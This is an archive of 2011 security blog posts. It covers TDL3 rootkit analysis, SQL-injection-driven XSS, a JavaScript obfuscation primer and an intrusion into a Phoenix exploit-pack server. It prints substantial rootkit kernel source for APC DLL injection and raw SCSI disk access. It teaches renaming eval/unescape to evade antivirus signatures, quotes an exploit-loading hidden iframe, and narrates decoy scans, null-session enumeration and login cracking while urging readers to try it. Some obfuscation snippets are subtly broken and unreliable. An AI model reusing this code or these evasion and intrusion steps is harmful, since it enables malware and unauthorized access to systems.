Saturday, April 30, 2011

TDL3 Rookit Implicit Analysis (Part 2)

In our last post about TDL rootkit, we discussed about the some of the generic features of TDL rootkit. As we know, all of the rootkits somewhat use DLL Hijacking technique. Same is true with TDL rootkit too. DLLInject function is presented below.

Generally, this function use is designed in TDL rootkit to load the malicious or systems specific DLL directly from the path defined (*pcDll!='\\'). The malicious DLL can be loaded from the root directory of TDL rootkit. If no path is provided then it uses the explicit path define in the parameter cDllRealFormat[]=. After this, the code tries to find the unique process identifier of the process and not the process handle as specified in the parameter cidProcess.UniqueProcess=hProcessID;. "ZwOpenProcess" functions opens the specific process and virtual memory is allocated using "(ZwAllocateVirtualMemory". By using KeStackAttachProcess the module attaches the current thread to the address space of the target process. After copying the real path "pcDllReal" to the memory. As soon as this is completed, KeUnstackDetachProcess routine detaches the current thread from the address space of a process and restores the previous attach state.


NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)
{
HANDLE hProcess;
OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};
CLIENT_ID cidProcess;
PVOID pvMemory=0;
DWORD dwSize;
CHAR cDllReal[MAX_PATH];
CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};
PCHAR pcDllReal;

if(*pcDll!='\\') {
dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,
GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1;
pcDllReal=cDllReal;
}
else {
pcDllReal=pcDll;
dwSize=strlen(pcDll)+1; }

cidProcess.UniqueProcess=hProcessID;
cidProcess.UniqueThread=0;
if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess)))
{

if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,
MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))
{
KAPC_STATE kasState;
PKAPC pkaApc;
KeStackAttachProcess(pepProcess,&kasState);
strcpy(pvMemory,pcDllReal);
KeUnstackDetachProcess(&kasState);
pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
if(pkaApc!=0)
{
KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,
APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory);
KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
}
ZwClose(hProcess); }
return STATUS_NO_MEMORY;}


This module is used directly in conjunction with WIInjector in order to complete DLL injection. The WIInjector code is somewhat works as follows

VOID WIInjector(PVOID pvContext)
{
CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;
CHAR cSection[]=TDL_CONFIG_INJECTOR;
CHAR cDll[MAX_PATH];
CHAR cSection2[]=TDL_CONFIG_MAIN;
CHAR cKey[]={'d','a','t','e',0};

DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0);
DWORD dwCurrent;

LARGE_INTEGER liTime;
KeQuerySystemTime(&liTime);
RtlTimeToSecondsSince1970(&liTime,&dwCurrent);
//CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};
//DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);

//if(dwCurrent-dwDate>=60*24*60)
{
DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);
if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))
{
DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
}
if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer
(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,
cDll,sizeof(cDll)))
{
DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); }
}
KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE);
return;
}


In the above presented code, TDL uses a specific configuration file in order to load
information such as PID from parameters as "cAny[]=TDL_CONFIG_INJECTOR_ANY";"cSection[]=TDL_CONFIG_INJECTOR;". It uses explicit time functions in order to trigger infection. "TDLIniReadString" is a custom designed module which is a part of TDL rootkit library. The DLLInject function is called when current date is verified as (dwCurrent-dwDate>=60*24*60). After this WIInjector is triggered as a part of "APCInjectRoutine"

VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)
{
WI_INJECT wiiItem;

ExFreePool(pkaApc);
wiiItem.pktThread=KeGetCurrentThread();
wiiItem.pepProcess=IoGetCurrentProcess();
wiiItem.hProcessID=PsGetCurrentProcessId();
KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE);
ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem);
ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue);
KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0);
return;
}


The discussion will remain continue in the next posts..
..

Wednesday, April 27, 2011

SQLXSSI - Persistent Malware Base

With the advent of new and sophisticated malware, the modes of infection has become more efficient from previous times. The spreading of web malware takes place through web vulnerabilities which further impacts the browser interface to drop malware. Reflective XSS vulnerabilities are exploited heavily to spread malware. In last year OWASP AppSec USA conference, we presented SQLXSSI technique which has become the preferred choice of attackers to infect databases with malicious iframes and payloads.

This technique is opted to conduct mass SQL injection attacks because infecting database tables result in easy spreading of malicious content across different domains because of content sharing.

It is quite a different from persistent nature of XSS because in SQLXSSI, the attacker wants to update the database table with encoded output and it remains there for long period of time. When an application, runs a specific query in the database, the payload is decoded and renders in the browser. In persistent XSS injections, payloads are passed as direct data which may or may not be stored in the database but it becomes persistent in web pages. Further, no SQL injection vulnerability is exploited.

In SQLXSSI, SQL injections (Direct+Blind) are used explicitly by the attacker to inject payloads in the database in the raw format. It is retrieved back from the database based on the application design and in which tables attacker has injected the payloads.

Predominantly, one vulnerability is used to trigger another which ultimately results in spreading malware. This content can be retrieved by any resources which are using the database of infected website. For example: the below presented figure shows the presence of malicious scripts inside the PDF



This PDF document is actually generated from print.asp page which fetches some content from the database, in this case it is infectious. However, our discussion in this example adheres to the way data is shared among different resources and how infectious can SQLXSSI attacks be.

Saturday, April 16, 2011

TDL3 Rootkit - Implicit Analysis (Part 1)


TDL3 rootkit is one of the most advanced rootkit that is used in the wild for spreading malware and compromising window machines specifically. Primarily, the TDL3 rootkit is very stable from execution point of view. Previously, the rootkit was supposed to infect 32 bit systems but latest versions are impacting the windows x64 bit boxes. in the previous times, we have noticed rootkits that impact Master Boot Record (MBR) and these are termed as vbootkits. However, TDL3 rootkit is showing infections that are specifically targeting MBR's. In this post , we are going to discuss about the TDL3 rootkit design and its impact. This analysis is basically used to discuss all the routines used by TDL3 rootkit and is divided into number of posts. This is the first post and further details will be discussed in later posts. TDL3 rootkit uses most of the function from windows driver framework libraries discussed in wdm.h and it loaded itself as a device driver.

[1] Getting the Offset of System Process:
TDL3 rootkit uses the listed technique of getting the offset of System (System 0) process from the current process (rootkit process) in execution. It uses RtlOffsetToPointer() function to locate the process offset from the given base address. The base address is extracted by using IoGetcurrentProcess() which returns a pointer to the based address. With respect to it, the offset of "SYSTEM 0" process is calculated which is nothing but the first process that is spawned by windows.
"SYSTEM 0" value is passed as a string of chars to the cSystem array[]. Once the function is called it is loaded effectively into the memory to set the base address

VOID GetEPNameOffset(){
CHAR cSystem[]={'S','y','s','t','e','m',0};
GET_TDL_ADDRESSES->dwEPNameOffset=0;

while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),
GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0)
{ GET_TDL_ADDRESSES->dwEPNameOffset++; }
return;
}


[2] Getting NT OS Kernel Base
TDL3 rootkit tries to find the base address of ntoskrn.exe in order to take control of the low level system functioning. In the code presented below, "__asm { sidt bIDT; }" declares SIDT instruction which is used to find Interrupt Descriptor Table(IDT) address in the memory. It basically returns the IDTINFO structure in which entries are segregated in lower WORD and high WORD values. In IDTINFO structure, each entry has its own structure which is 64 bit long. Each entry contains the address of the function that handles a specific interrupt. Interrupt handler = Address(Hi Offset + Lo Offset).


__declspec(noinline) PVOID GetNtoskrnlBase()
{
BYTE bIDT[6];
PIDT_ENTRY pieIDTEntry;
PWORD pwAddress;

__asm { sidt bIDT; }

pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40);
pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16));
do {
pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);
if(*pwAddress=='ZM')
{ return (PVOID)pwAddress; }
pwAddress--;}

while(pwAddress!=0);
return 0; }


[3] Filesystem Change Routine
This is specific routine utilized by TDL3 rootkit to initiate a file system filter which uses a callback function in order to provide notification to main TDL3 driver about the state of file system being registered or unregistered as an active file system. The "RtlImageNtHeader" returns handle to PIMAGE_NT_HEADERS and "RtlOffsetToPointer" returns a pointer to the offset from a specific base address. Generally, the process characteristics are checked (primarily address) when a driver is initiated to notify about the change in the file system registration.

NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
PTDL_START ptsStart;
PIMAGE_NT_HEADERS pinhHeader;

GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;
pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart);
ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,
pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));

GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset;
pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP;
pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum;
pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size
=ptsStart->dwSectionSecuritySize;
pinhHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->
dwSectionSecurityVirtualAddress;

GetEPNameOffset();
*GET_TDL_ADDRESSES->cBotID=0;
if(!NT_SUCCESS(Reinitialize(0,FALSE)))
{
IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,
ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
}
return STATUS_SUCCESS;
}


[4] Decrypting Data Routine
A simple XOR based algorithm is used for decryption. Looks like for decrypting the raw data from the system or during execution.

PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)
{ DWORD dwData;
for(dwData=0; dwData lt; dwSize;dwData++)
{ ((PBYTE)pvData)[dwData]^=dwData+bKey;}
return pvData;};


[5] Small Computer System Interface (SCSI) Command Routine
TDL3 rootkit uses SCSI command routine to connect and transferring data between various peripheral devices which includes hard disks, scanners, usb etc. Since SCSI command interface is implemented as a part of device driver, TDL3 rootkit potentially exploits the command set provided by SCSI interface. The basic aim is to infect peripheral devices when these are attached to system, TDL3 rootkit device driver detects the device and sends initiates a communication routine in order to send commands to that device. This is implemented using "SCSI_REQUEST_BLOCK" structure in which "SRB_FUNCTION_EXECUTE_SCSI" flag is passed as value to the member function in order to execute the request on the logical device. Another flag "SRB_FLAGS_DISABLE_AUTOSENSE" is used to disable the request-send information should not be returned back.

TDL3 rootkit also uses "IoAllocateIrp" in order to create IRP (I/O Request Packet) to communicate with low level drivers. "PIO_STACK_LOCATION" structure is used which is an entry in the I/O stack that is associated with each IRP (created by IoAllocateIrp). "IoGetNextIrpStackLocation" is sued to walk down the stack for accessing next low leveld river associated with same IRP (created before). TDL3 rootkit implement it as follows

NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)
{
SCSI_REQUEST_BLOCK srbBuffer;
SENSE_DATA sdData;
IO_STATUS_BLOCK iosbStatus;
KEVENT keEvent;
PIRP piIrp;
PMDL pmMdl;
PIO_STACK_LOCATION pislStack;

memset(&srbBuffer,0,sizeof(srbBuffer));
memset(&sdData,0,sizeof(sdData));
srbBuffer.Length=sizeof(srbBuffer);
srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI;
srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
srbBuffer.CdbLength=CDB10GENERIC_LENGTH;
srbBuffer.SenseInfoBufferLength=sizeof(sdData);
srbBuffer.SenseInfoBuffer=&sdData;
srbBuffer.DataTransferLength=dwBufferSize;
srbBuffer.DataBuffer=pvBuffer;
srbBuffer.TimeOutValue=5000;
srbBuffer.QueueSortKey=dwAddress;
srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;
srbBuffer.Cdb[0]=bOpCode;
srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24);
srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16);
srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8);
srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff);
if(dwAddress!=0)
{
DWORD dwSectors;

dwSectors=dwBufferSize/0x200;
srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8);
srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff);
}
KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE);
if(piIrp!=0)
{
// Allocate Memory
pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);
srbBuffer.OriginalRequest=piIrp;
piIrp->MdlAddress=pmMdl;
MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);
piIrp->UserIosb=&iosbStatus;
piIrp->UserEvent=&keEvent;
piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
piIrp->Tail.Overlay.Thread=KeGetCurrentThread();
pislStack=IoGetNextIrpStackLocation(piIrp);
pislStack->DeviceObject=pdoDevice;
pislStack->MajorFunction=IRP_MJ_SCSI;
pislStack->Parameters.Scsi.Srb=&srbBuffer;
piIrp->CurrentLocation--;
pislStack=IoGetNextIrpStackLocation(piIrp);
piIrp->Tail.Overlay.CurrentStackLocation=pislStack;
pislStack->DeviceObject=pdoDevice;
// Callback Function..
if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)
{
KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0);
}
return iosbStatus.Status;
}
return STATUS_INSUFFICIENT_RESOURCES;
}


[6] Computing PE Checksum

TDL3 rootkit also computes the checksum of the required portable executable as follows

DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)
{
DWORD dwBytes=dwSize;
while(dwBytes>0)
{ if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)
{wChecksum++;}
wChecksum+=*(PWORD)pvData;
dwBytes-=sizeof(WORD);
pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);
}
return wChecksum+dwSize;}


Hashing module is also implemented as follows

__declspec(noinline) DWORD HashString(PCHAR pcString)
{
DWORD dwResult=0;
while(*pcString!=0)
{ dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));
}
return dwResult;}


This discussion will be continued in the next post.

Monday, April 11, 2011

JavaScript Camouflaging - A Primer

In this discussion, we are simply walking through the nature of JavaScript obfuscation and camouflaging in order to understand the importance of dense code.

Views By:- RB and AKS

JavaScript is a widely used language for developing application and websites on internet. JavaScript is used for positive as well as for nefarious purposes. Since it is a client side scripting language, most of the time the scripts are available for walking through them to understand the purpose. However, JavaScript obfuscation is used heavily for making JavaScript readability a hard process and at the same time beating automated detection tools. Overall, the purpose of JavaScript obfuscation is to hide the source code so that it is not possible to steal it. At the same time, this technique is also used for malicious purposes by the attacker to bypass antivirus engines in order to execute rogue code successfully. These are the two main reasons for the wide usage of JavaScript obfuscation.

Exploit Placement and Detection:
Most of the Browser Exploit Packs (BEP's) use browser JavaScript rendering engine and heap spraying techniques to exploit vulnerabilities in browser. The aim is to exploit the heaps using JavaScript capabilities. Another thing that should be taken into account is the way exploit is developed and the way it is supported by JavaScript obfuscation. Consider an exploit; if it is wrapped and placed in [HTML] and [Body] tags, the antivirus engine definitely detects it. Is there a difference between handling scripts and executables by antivirus engines? Based on our analysis, antivirus engines follow a similar approach which is signature based pattern matching. A unique signature is created for antivirus engine and it is matched against the malicious script. If we talk about polymorphic code which carries self decrypting routine to reverse the script automatically, detection is not an easy process. However, for normal scripts the detection mechanism is easy. Considering the capabilities of JavaScript, being a client side language , it can be forced to execute scrambled code.

Camouflaging - Dense Code
Camouflaging (increasing data density) is a very robust approach of making JavaScript’s undetectable. The critical functions such as EVAL/ENESCAPE are something that antivirus engines always look for. Primarily, UNESCAPE is used for making a readable string out of escaped data. The unescaped string is harder to read from user perspective but antivirus engines possibly detect this and flag it as malicious. Another similar functions is EVAL, which is used collectively with UNESCAPE to design malicious scripts. For generic JavaScript obfuscation these are used but it is executed as EVAL(UNESCAPE(............)) in the code and combination is easily fetched as malicious. The question is these functions are required explicitly to run the code in hidden manner. Camouflaging is an art that is used by referencing these functions to different names or completely random names. A generic example is
as follows

var FGHTY678 = eval;
var VFGBH432 = unescape;


These variables can be generated dynamically because JavaScript supports on the fly variable referencing. For hard scenarios, a robust algorithm can be structured which provides random naming of variables that points to crucial functions. We will stick to our generic examples. At this point if we use the code as follows it is still not that hard to detect by antivirus engines

var VFGBH432 = unescape;
return FGHTY678(VFGBH432(....))


It performs the similar functionality except we can make variable names random. This process changes the signature and it makes the process tough for antivirus engines to detect it (cannot say purely undetectable). Another case which is easily detectable is as follows

function FGHTY678(FGATH789) { return eval(FGATH789);}
function VFGBH432(XCVTH789) { return unescape(XCVTH789);}


Only variable names are changed but function calls remain intact and hence signature detection is easy. The above discussed points do not provide reliable way of obfuscation. One must remember that even if we have camouflaged the function calls, the escaped code is still present as argument in the UNESCAPE function. It is readable by the antivirus engines. Overall, the code is not fully camouflaged and obfuscated. Now let's talk about hexadecimal encoding (you can choose anyone). The question is, "How the hexadecimal encoding impacts the obfuscation?". For example: if we encode the following string "JavaScript Obfuscation", the hexadecimal looks like as

"4a617661536372697074204f62667573636174696f6e"


Even though for humans, it is hard to read but for computer programs it is not a big deal. Can we use JavaScript to make it more obfuscated? Yes, there are certain inbuilt string manipulation functions that we can try on. JavaScript functionality can be used to design extensible and robust codes. Mere simple encoding does not hide the signatures. JavaScript functions like REPLACE is of much use. This function is used heavily in normal purposes because of its versatile nature. for example: a relative code can be structured as

var GHJKO786 = eval;
var KJLHM890 = unescape;

var FGHBN345 = "JavaScript-Obfuscation1JavaScript-Obfuscation2JavaScript-Obfuscation3JavaScript-Obfuscation4JavaScript-Obfuscation5JavaScript-Obfuscation6JavaScript-Obfuscation7";

KJLHM890.replace(/JavaScript-Obfuscation/gi,"!@#$%^&*");
GHJKO786(KJLHM890(FGHBN345));


The above stated code looks rigorous but it is using inbuilt JavaScript functions."JavaScript-Obfuscation" is replaced with a metacharacter string "!@#$%^&*". The "gi" option in REPLACE function is used to replace the string case sensitive and it is applied as global level. Further, it is also possible to use MATH.ROUND and MATH.RANDOM functions to randomize the custom function names.

Garbage Data Mangling
Garbage data serves useful with extra logic is used to place raw data in JavaScript code. The main idea behind this technique is to make the process harder for filtering actual data. Generally, it is of no use and it is not vital. This helps in resisting the signature matching process. We basically talk about logic flow in which certain logic remain true forever and scripts are placed inside that logic which execute all the time. A similar example can be used as follows

var GHJKO786 = eval;
var KJLHM890 = unescape;

if (VBNHJ789 != "7890")
{
FGHBN345 = "JavaScript-Obfuscation1JavaScript-Obfuscation2JavaScript-Obfuscation3JavaScript-Obfuscation4JavaScript-Obfuscation5JavaScript-Obfuscation6JavaScript-Obfuscation7";
}

var KJLHM890.replace(/JavaScript-Obfuscation/gi,"!@#$%^&*");
GHJKO786(KJLHM890(FGHBN345));


In reality, the logic (VBNHJ789 != "7890") is never true and hence FGHBN345 string is always true and viceversa. another example can be discussed as

function RTGHY123
{
var FGHYU009 = "Rocky";
for (temp =1 ; temp <= 20 ; temp++)
{
FJKLM765 = document.write;
}

if(FGHYU009 == 5678)
{
FJKLM765("HEYA");
}
}


The function RTGHY123 is a garbage function and does nothing but results in creating mess for the analysts and anybody.

At last, there are several other methods possible for obfuscation. Our sole purpose is to discuss the effectiveness of density in encoding mechanism in JavaScript that can be used to design better obfuscator.

Nothing is impossible until it is proclaimed so.

Wednesday, April 6, 2011

Hacking Free Bird - SMB - Phoenix EP 2.5



Recently, we came across Phoenix Exploit Pack 2.5 which has included number of new Java and other exploits. We detected the hidden iframe as

[iframe src="http://phoenix_host/phx/index.php" width="1" height="1" frameborder="0"][/iframe]

As we know, JAVA SMB is one of the most exploited vulnerability in the recent times. In the last POST, we talked about exploit obfuscation in BlackHole exploit pack. However, it has been analyzed that both exploit packs use similar name "new.avi" for the successful execution of the Java SMB exploit. Further, newer versions of the Phoenix exploit pack 2.5 includes other Java exploits as JAVA RMI, JAVA MIDI and JAVA SKYLINE

We have analyzed certain number of domains that used to host SMB servers which is required to trigger the Java SMB exploit appropriately. However, SMB server has to be open to the world in order to execute the exploit. It can be hosted on the same domain as of Phoenix exploit pack or it can be on different domain. During the course of this analysis, we found number of vulnerable or insecure SMB servers which were serving SMB exploit file new.avi. Securing SMB server is typically a hard task if one does not understand configuration in a right manner (script kiddies etc). We ran nmap Decoy scan in a stealth manner to check the presence of RPC SMB port 445

nmap -P0 -A -T4 -sS phoenix_host -D 112.123.124.111 -p 445
Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-06 13:07 Eastern Daylight Time
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 3.X
Running: Linux 2.6.X
OS details: Linux 2.6.17 - 2.6.35
Network Distance: 1 hop
Host script results:
|_nbstat: NetBIOS name: VMWARE-VIRTUAL-, NetBIOS user: , NetBIOS MAC:
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Unix (Samba 3.5.4)
| Name: Unknown\Unknown
|_ System time: 2011-04-06 13:11:10 UTC-7


We found that phoenix host is actually running port 445. On continuous monitoring, we analyzed that SMB server was hosted on the domain serving Phoenix exploit pack. Since the port was in open state, we verified random access from our virtual machine running Win XP SP3 as follows:

E:\audit>net use \\phoenix_host\IPC$ /user:root
The command completed successfully.

E:\audit>net use \\phoenix_host\IPC$ /user:AAAAAAAA
The command completed successfully.

E:\audit>net use \\phoenix_host\IPC$ /user:guest
The command completed successfully.

E:\audit>net use \\phoenix_host\IPC$ /user:XXXX
The command completed successfully.


This shows that default access was allowed on SMB server which was running in shared mode security. However, no user mode security is applied. In general, this can be made more restricted and shares can be accessed without querying the SMB server in default mode. Here we used, random names and all were allowed access to IPC$ which was quite rogue. We tried to get some information and was successful in getting userlist, password policy information and share list etc

E:\audit>enum -P phoenix_host
server: phoenix_host
setting up session... success.
password policy:
min length: 5 chars
min age: none
max age: none
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
cleaning up... success.

E:\audit>enum -S phoenix_host
server: phoenix_host
connected as Chimera\Administrator, disconnecting... success.
setting up session... success.
enumerating shares (pass 1)... got 1 shares, 0 left:
IPC$
cleaning up... success.

E:\audit>enum -U phoenix_host
server: phoenix_host
setting up session... success.
getting user list (pass 1, index 0)... success, got 2.
rocky root
cleaning up... success.


At this point of time we found that there were no shares enumerated. This gave us an impression that share serving "new.avi" file was not "browseable". We took a look around , search over the internet and used simple combinatorial SMB URI's for accessing share as

\\phoenix_host\home\new.avi
\\phoenix_host\usr\new.avi
\\phoenix_host\home\smb\new.avi
\\phoenix_host\usr\smb\new.avi
\\....
......

The connection in the bold worked well for us. When we used that link from our virtual machine, we got positive response as follows

E:\audit>net use \\phoenix_host\smb
The command completed successfully.


URI:(\\phoenix_host\home\smb\new.avi) directly included exploit file in the target victim system and started running the exploit file. The file was accessed through firefox as



We reversed the process. We tried to define the parameters in smb.conf file used by the vulnerable server and we cam across following settings

[global]
security = share
[smb]
comment = smb
path = /home/smb
public = yes
browseable = no
writeable = no
guest ok = yes


At last, we succeeded in cracking the login account for SMB users for getting access to the server. One can also use Metasploit in order to query and run auxillary modules on SMB server.

This analysis shows that, it is possible to hack in the BEP's successfully. Try your hands on, we are sure you will hack the free bird.